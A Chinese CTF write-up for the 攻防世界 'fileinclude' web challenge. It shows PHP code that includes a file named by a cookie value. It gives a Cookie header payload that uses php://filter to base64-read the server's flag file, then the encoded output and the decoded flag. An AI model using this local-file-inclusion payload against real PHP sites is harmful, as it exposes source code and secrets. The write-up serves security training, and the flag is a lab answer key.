当前位置: 首页 > news >正文

攻防世界WEB练习-fileinclude

目录

题目场景

F12/Ctrl+U查看源码

代码分析

bp抓包

找到flag


题目场景

 

F12/Ctrl+U查看源码

 

代码分析

<?php

if( !ini_get('display_errors') ) {

  ini_set('display_errors', 'On');

  }

error_reporting(E_ALL);

$lan = $_COOKIE['language'];

if(!$lan)

{

@setcookie("language","english");

@include("english.php");

}

else

{

@include($lan.".php");

}

$x=file_get_contents('index.php');

echo $x;

?>

源代码中看到` @include($lan.".php"); `,可知此处存在文件包含。

`$lan`的值是从cookie中传过来的。所以对`language`赋值,构造payload,重放包就可读出flag.php经过base64加密后字符串,base64解密后得到flag。

bp抓包

 

构造payload

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

注意这里是flag而不是官方提到的flag.php

 

base64解码

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNle2Y2NzUyNWI4NWNiY2NiZGZhNGMwNTYwN2ZmZjdjZTM0fSI7DQo/Pg=

 

找到flag

cyberpeace{f67525b85cbccbdfa4c05607fff7ce34}

相关文章:

  • web自动化测试--tpshop商城案例
  • 数据结构与算法分析--c语言描述(原书第二版)练习自答(第八章)
  • Selenium--定位页面上的元素
  • JTAG、SWD调试原理简析
  • cmake语法:option,add_definition,add_dependencies的基本作用
  • Nmap详细使用
  • CREO:CREO软件之工程图【注释】之尺寸、注解、表面粗糙度、符号、几何公差的简介及其使用方法(图文教程)之详细攻略
  • FastAPI 学习之路(三十)中间件
  • Springboot整合redis
  • Python对象序列化
  • Linux-Linux内核-进程调度
  • LabVIEW重入:允许同时调用同一子VI
  • 『网易实习』周记(五)
  • 【glib】vs2022 v163 debug win32: meson构建 glib-2.67.6
  • JlinkV9的Vtref详解
  • Bytom交易说明(账户管理模式)
  • CSS居中完全指南——构建CSS居中决策树
  • ES6 学习笔记(一)let,const和解构赋值
  • express.js的介绍及使用
  • Java面向对象及其三大特征
  • JS数组方法汇总
  • Koa2 之文件上传下载
  • Linux中的硬链接与软链接
  • Mocha测试初探
  • mockjs让前端开发独立于后端
  • node学习系列之简单文件上传
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • Redux系列x:源码分析
  • SQLServer之索引简介
  • vue-router的history模式发布配置
  • 大主子表关联的性能优化方法
  • 利用DataURL技术在网页上显示图片
  • 算法-图和图算法
  • 从如何停掉 Promise 链说起
  • 回归生活:清理微信公众号
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • (2020)Java后端开发----(面试题和笔试题)
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (八)c52学习之旅-中断实验
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)ssm智慧社区管理系统 毕业设计 101635
  • (一)SpringBoot3---尚硅谷总结
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • (转)ABI是什么
  • .【机器学习】隐马尔可夫模型(Hidden Markov Model,HMM)
  • .NET Compact Framework 多线程环境下的UI异步刷新
  • .NET Core IdentityServer4实战-开篇介绍与规划
  • .net core MVC 通过 Filters 过滤器拦截请求及响应内容
  • .NET Framework与.NET Framework SDK有什么不同?
  • .NET gRPC 和RESTful简单对比
  • .Net IOC框架入门之一 Unity
  • .Net Memory Profiler的使用举例
  • .NET 读取 JSON格式的数据
  • .NET 分布式技术比较